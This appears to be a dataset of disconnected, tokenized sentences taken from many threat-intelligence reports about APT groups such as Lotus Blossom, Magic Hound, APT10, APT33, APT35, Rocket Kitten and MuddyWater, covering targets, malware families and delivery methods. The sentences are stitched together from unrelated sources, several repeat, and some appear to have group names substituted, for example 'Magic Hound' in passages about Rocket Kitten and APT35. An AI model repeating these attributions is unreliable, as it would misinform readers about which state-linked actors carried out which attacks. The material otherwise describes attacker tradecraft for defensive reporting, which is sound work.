Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
The Elise malware used by Lotus Blossom , which was an attack campaign on targets in Southeast Asia .
Based on the targeting and lures , Unit 42 assesses that the Lotus Blossom actors ' collection requirements include militaries and government agencies in Southeast Asia .
In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload .
The oldest sample we found was created in 2009 , indicating this tool has been in use for almost seven years .
In addition , Emissary appears to against Taiwan or Hong Kong , all of the decoys are written in Traditional Chinese , and they use themes related to the government or military .
Of note , this is three years earlier than the oldest Elise sample we have found , suggesting this group has been active longer than previously documented .
In addition , we observed a TTP shift post publication with regards to their malware delivery ; they started using compromised but legitimate domains to serve their malware .
All of the Emissary we've collected are written in Traditional Chinese , which is used primarily in Taiwan and Hong Kong .
One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015 , resulting in many new versions of the Emissary Trojan .
Lotus Blossom targeted the government , higher education , and high tech companies .
Our evidence suggests that malware authors created Emissary as early as 2009 , which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
The timeline in Figure 2 shows that the Emissary Trojan was first created ( version 1.0 ) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009 .
Between August and November 2015 the malware author creates several new versions of Emissary , specifically 5.0 , 5.1 , 5.3 and 5.4 in a much more rapid succession compared to development process in earlier versions .
Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014 .
While this may be coincidental , the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success .
The Lotus Blossom actors using Emissary have been active for at least seven years in Southeast Asia .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Regardless of causation , the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection , which as a corollary suggests the Lotus Blossom are actively using the Emissary Trojan as a payload in attacks .
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called " Rocket Kitten " ( AKA Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish ) as well as an older attack campaign called Newscasters .
In addition to the malware evolution , the actors also shifted from solely spear-phishing targets with attachments to also compromising legitimate websites to host malware .
It is highly likely the Lotus Blossom used spear-phishing attacks containing links to these malicious documents as a delivery mechanism .
We were ultimately able to identify multiple organizations in the government , energy , and technology sectors targeted by Magic Hound .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The MPK bot is not publicly available and had previously been attributed to an adversary group called " Rocket Kitten " which has often been thought to be a state sponsored adversary operating in the Middle East region .
One payload was a Python based open source remote administration tool ( RAT ) called Pupy .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES .
The loader 's main goal was to run a PowerShell command to execute shellcode .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
We have also seen Magic Hound using DropIt as a binder , specifically dropping a legitimate decoy executable along with the malicious executable onto the target host .
We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on .
The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
At a high level , Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
M-Trends 2018 can arm security teams with the knowledge they need to defend against today 's most often used cyber attacks , as well as lesser seen and emerging threats .
FireEye tracks thousands of threat actors , but pays special attention to state-sponsored attackers who carry out advanced persistent threat ( APT ) attacks .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam .
APT32 poses a threat to companies doing business or preparing to invest in Vietnam .
We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabia .
APT33 often conducts spear-phishing operations using a built-in phishing module .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP , we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
The HTA files contained job descriptions and links to job postings on popular employment websites .
Since at least 2014 , an Iranian threat group tracked by FireEye ashas conducted reconnaissance aligned with the strategic interests of Iran .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT34 uses a mix of public and non-public tools .
APT34 often uses compromised accounts to conduct spear-phishing operations .
APT33 leverages a mix of public and non-public tools and often conducts spear-phishing operations using a built-in phishing module from " ALFA TEaM Shell " , a publicly available web shell .
In July 2017 , FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER , which includes a domain generation algorithm ( DGA ) for command and control .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
FireEye has identified APT35 operations dating back to 2014 .
APT35 , also known as the Newscaster Team , is a threat group sponsored by the Iranian government that conducts long term , resource-intensive operations to collect strategic intelligence .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 has historically used unsophisticated tools like those listed below in Figure 3 .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Many of the fake personas utilized by APT35 claimed to be part of news organizations , which led to APT35 being referred to as the Newscaster Team .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
In early 2017 , Mandiant responded to an incident involving APT35 targeting an energy company .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
The resume contained the PupyRAT backdoor , which communicated with known APT35 infrastructure .
Once connected to the VPN , APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance .
While having access to the organization 's environment , the Magic Hound targeted data related to entities in the Middle East .
Mandiant has previously observed targeted attackers stealing email , but few threat actors have been as successful at this as APT35 .
The campaigns delivered PupyRAT , an open-source cross-platform remote access trojan ( RAT ) .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The connections associated with these profiles indicate the threat actor began using the persona to target organizations in April 2016 .
Between December 28 , 2016 and January 1 , 2017 , CTU researchers observed a phishing campaign targeting Middle Eastern organizations .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
The survey contained macros that , once enabled , downloaded PupyRAT .
CTU researchers determined that the COBALT GYPSY threat group orchestrated this activity due to the tools , techniques , and procedures ( TTPs ) used in both campaigns .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
By compromising a user account that has administrative or elevated access , Magic Hound can quickly access a targeted environment to achieve their objectives .
These characteristics suggest that COBALT GYPSY executed the January and February phishing campaigns and that it created the Mia Ash persona .
CTU researchers have observed multiple COBALT GYPSY campaigns since 2015 and consider it highly likely that the group is associated with Iranian government-directed cyber operations .
The use of the Mia Ash persona demonstrates the creativity and persistence that threat actors employ to compromise targets .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
SecureWorks Counter Threat Unit ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
SecureWorks® Counter Threat Unit™ ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group ( formerly labeled Threat Group-2889 ) .
Since early 2014 , an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection , supported by persistent spear phishing campaigns .
This cyber-espionage group was dubbed ' Rocket Kitten ' , and remains active as of this writing , with reported attacks as recent as October 2015 .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East ( including targets inside Iran itself ) , as well as across Europe and in the United States .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
ClearSky 's September 2014 blog post first described active attacks using a piece of malware they dubbed ' Gholee ' ( as appears in a malicious payload export function , potentially named after a popular Iranian singer9 ) .
The Rocket Kitten attacker group 's main attack vector is spear-phishing .
After learning of an active attack incident from the Rocket Kitten group on a customer network , Check Point researchers decided to actively join the investigation .
As described in previous publications , the Rocket Kitten attackers make extensive use of various phishing schemes .
While the recent paper from Trend Micro and ClearSky ( ' The Spy Kittens Are Back : Rocket Kitten 2 ' ) does extensively cover the campaign 's narrative , we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight .
As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .
Magic Hound will often find simpler ways for effective compromise , such as creative phishing and simple custom malware .
We present the connection between Behzad Mesri , an Iranian national recently indicted for his involvement in hacking HBO , and Charming Kitten .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report - " Flying Kitten to Rocket Kitten , A Case of Ambiguity and Shared Code " 3 by Collin Anderson and Claudio Guarnieri .
FireEye 's publication of " Operation Saffron Rose " report , which described Flying Kitten 's operations against aviation firms , led to the dismantling of Flying Kitten 's infrastructure and the apparent end of its activities .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
Charming kitten regularly target international media outlets with Persian-language services .
It was a decoy to make visitor download a " Flash Player " , which was in fact DownPaper malware , analyzed later in this report .
In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .
Wapack labs also observed a similar sample targeting Japan in November .
MenuPass spoofed several sender email addresses to send spear phishing emails , most notably public addresses associated with the Sasakawa Peace Foundation and The White House .
menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns .
There is not much public information about the APT campaign called menuPass ( also known as Stone Panda and APT10 ) .
A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them .
Believed to have started activity in 2009 and to originate from China , the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed .
menuPass has targeted individuals and organizations in Japan since at least 2014 , and as the same organizations and academics were largely targeted each month in these attacks , it further shows menuPass is persistent in attempts to compromise their targets .
menuPass also heavily favors spear phishing , and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy .
menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
PyCommands , meanwhile , are Python scripts that automate tasks for Immunity Debugger , a popular tool for reverse-engineering malware binaries .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
First released in 2005 , the tool has gone unchanged since 2008 with v ersion 2.3.2 .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
APT40 was previously reported as TEMP.Periscope and TEMP.Jumper .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
Attackers can point and click their way through a compromised network and exfiltrate data .
Commodity RATs also complicate efforts by security professionals to correlate a threat actor 's activity over time—attackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware .
This report is an initial public release of research PwC UK and BAE Systems have conducted into new , sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan .
Since late 2016 , PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by APT10 .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report , which comprehensively detailed the malware 's functionality and features , and its use by several China-based threat actors , including APT10 .
APT10 primarily used PlugX malware from 2014 to 2016 , progressively improving and deploying newer versions , while simultaneously standardising their command and control function .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
APT10 , a name originally coined by FireEye , is also referred to as Red Apollo by PwC UK , CVNX by BAE Systems , Stone Panda by CrowdStrike , and menuPass Team more broadly in the public domain .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro similarly detailing the use of EvilGrab malware .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB )1 and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
The research and ongoing tracking of APT10 by both PwC UK and BAE .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB ) and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
PwC UK has been engaged in supporting investigations linked to APT10 compromises .
As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 .
Due to the scale of the threat actor 's operations throughout 2016 and 2017 , we similarly assess it currently comprises multiple teams , each responsible for a different section of the day-to-day operations , namely domain registration , infrastructure management , malware development , target operations , and analysis .
APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation , upgrading its capabilities and replatforming to use PlugX .
It is highly likely that this is due to the release of the 2013 FireEye report .
Our report will detail the most recent campaigns conducted by APT10 , including the sustained targeting of MSPs , which we have named Operation Cloud Hopper , and the targeting of a number of Japanese institutions .
MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10 .
Given the level of client network access MSPs have , once APT10 has gained access to a MSP , it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
The command and control ( C2 ) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains .
Several of these provide enterprise services or cloud hosting , supporting our assessment that APT10 are almost certainly targeting MSPs .
The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan .
These aims outlined in the FYP will largely dictate the growth of businesses in China and are , therefore , likely to also form part of Chinese companies ' business strategies .
APT10 has , in the past , primarily been known for its targeting of government and US defence industrial base organisations , with the earliest known date of its activity being in December 2009 .
Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China .
In line with commonly used APT actor methodologies , the threat actor aligns its decoy documents to a topic of interest relevant to the recipient .
This section details changes made to APT10 tools , techniques and procedures ( TTPs ) post-2014 , following its shift from Poison Ivy to PlugX .
We have observed that in cases where APT10 has infiltrated a target via an MSP , it continues to use the MSPs credentials .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware ; the actor also uses these methods to propagate across the network .
The tactical malware , historically EvilGrab , and now ChChes ( and likely also RedLeaves ) , is designed to be lightweight and disposable , often being delivered through spear phishing .
Once executed , tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest .
We have also observed APT10 use DLL search order hijacking and sideloading , to execute some modified versions of open-source tools .
For example , PwC UK has observed APT10 compiling DLLs out of tools , such as Mimikatz and PwDump6 , and using legitimate , signed software , such as Windows Defender to load the malicious payloads .
During our analysis of victim networks , we were able to observe APT10 once again initiate a retooling cycle in late 2016 .
We observed the deployment and testing of multiple versions of Quasar malware , and the introduction of the bespoke malware families ChChes and RedLeaves .
APT10 is a constantly evolving , highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors , enabled by its strategic targeting .
Since exposure of its operations in 2013 , APT10 has made a number of significant changes intended to thwart detection of its campaigns .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
This operation has targeted managed IT service providers , the compromise of which provides APT10 with potential access to thousands of further victims .
An additional campaign has also been observed targeting Japanese entities .
APT10 's malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns ; this is indicative of APT10 's increasing sophistication , which is highly likely to continue .
The threat actor 's known working hours align to Chinese Standard Time ( CST ) and its targeting corresponds to that of other known China-based threat actors , which supports our assessment that these campaigns are conducted by APT10 .
APT10 ( MenuPass Group ) is a Chinese cyber espionage group that FireEye has tracked since 2009 .
Its targets include the military organizations and governments of countries with national interests in the South China Sea , including some within the U.S. defense industrial base .
Moafee may have chosen its targets based on the rich resources of South China Sea region – the world 's second business sea-lane , according to Wikipedia – including rare earth metals , crude oil , and natural gas .
DragonOK appears to operate out of China 's Jiangsu Province .
Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool ( HTRAN ) – to disguise their geographical locations .
However , FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups .
Both Moafee and DragonOK favor spear-phishing emails as an attack vector , often employing a decoy to deceive the victim .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
We observed Moafee running HTRAN proxies on their multiple Command and Control ( C2 ) servers – all operated on CHINANET , and hosted in Guangdong Province .
Like the Moafee group , we observed DragonOK running HTRAN to proxy their C2 servers , which are also operated on CHINANET but are hosted in the Jiangsu Province .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Security researchers subsequently linked these attacks to a broader , yearlong campaign that targeted not just Israelis but Palestinians as well .
and as discovered later , even the U.S. and UK governments .
The second group , known as DragonOK , targets high-tech and manufacturing companies in Japan and Taiwan .
In 2012 , the Molerats attacks appeared to rely heavily on the XtremeRAT , a freely available tool that is popular with attackers based in the Middle East .
But the group has also used Poison Ivy ( PIVY ) , a RAT more commonly associated with threat actors in China — so much so that PIVY has , inaccurately , become synonymous with all APT attacks linked to China .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective , publicly-available RAT to its arsenal .
We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control ( CnC ) infrastructure used by the Molerats attackers .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
In addition to DustySky , the attackers use publicly available tools such as the following Remote Administration Tools ( RAT ) : Poison Ivy , Nano Core , XtremeRAT , DarkComet and Spy-Net .
DustySky ( called " NeD Worm " by its developer ) is a multi-stage malware in use since May 2015 .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
Operating since 2012 , the Molerats group 's activity has been reported by Norman , Kaspersky , FireEye , and PwC .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
Most targets are from the Middle East : Israel , Egypt , Saudi Arabia , United Arab Emirates and Iraq .
The United States and countries in Europe are targeted as well .
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015 .
The MuddyWater attacks are primarily against Middle Eastern nations .
However , we have also observed attacks against surrounding nations and beyond , including targets in India and the USA .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call " POWERSTATS " .
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East , we were somewhat confused as the previous public reporting had attributed these attacks to FIN7 .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Following the trail of existing public reporting , the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2 , of a non-public tool " DNSMessenger " .
There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 .
The DNSMessenger malware is a shared tool , used by FIN7 , MuddyWater and perhaps other groups .
In September 2018 , we found evidence of Seedworm and the espionage group APT28 ( aka Swallowtail , Fancy Bear ) , on a computer within the Brazil-based embassy of an oil-producing nation .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
During the operations , the group used tools consistent with those leveraged during past intrusions including Powermud , a custom tool used by the Seedworm group , and customized PowerShell , LaZagne , and Crackmapexec scripts .
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control ( C&C ) location .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials .
The group , which we call Seedworm ( aka MuddyWater ) , has been operating since at least 2017 , with its most recent activity observed in December 2018 .
The Seedworm group is the only group known to use the Powermud backdoor .
Additionally , the group compromised organizations in Europe and North America that have ties to the Middle East .
MuddyWater is an Iranian high-profile threat actor that 's been seen active since 2017 .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Depending on each sample , the content of document is either a fake resume application , or a letter from the Ministry of Justice in Lebanon or Saudi Arabia .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
From January 2018 to March 2018 , through FireEye 's Dynamic Threat Intelligence , we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East .
MuddyWater has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
When successfully executed , the malicious documents install a backdoor we track as POWERSTATS .
The group is known for espionage campaigns in the Middle East .
The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques .
The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro .
The threat group in this recently observed campaign a TEMP.Zagros a weaponized their malware using the following techniques .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
MuddyWater is a relatively new APT that surfaced in 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro as MuddyWater ) , an Iran-nexus actor that has been active since at least May 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro ) , an Iran-nexus actor that has been active since at least May 2017 .
Entities in these sectors are often " enabling victims " as telecommunications providers or IT services agencies and vendors could provide Seedworm actors with further victims to compromise .
The group mainly targets the telecommunications and IT services sectors .
However , the group behind MuddyWater has been known to target other countries in the Middle East , Europe and the US .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
MuddyWater has recently been targeting victims likely from Lebanon and Oman , while leveraging compromised domains , one of which is owned by an Israeli web developer .
As MuddyWater has consistently been using POWERSTATS as its main tool , they are relatively easy to distinguish from other actors .
In March 2018 , Trend Micro provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
We recently noticed the group behind MuddyWater that appear to be targeting government bodies , military entities , telcos and educational institutions in Jordan , Turkey , Azerbaijan and Pakistan , in addition to the continuous targeting of Iraq and Saudi Arabia , other victims were also detected in Mali , Austria , Russia , Iran and Bahrain. .
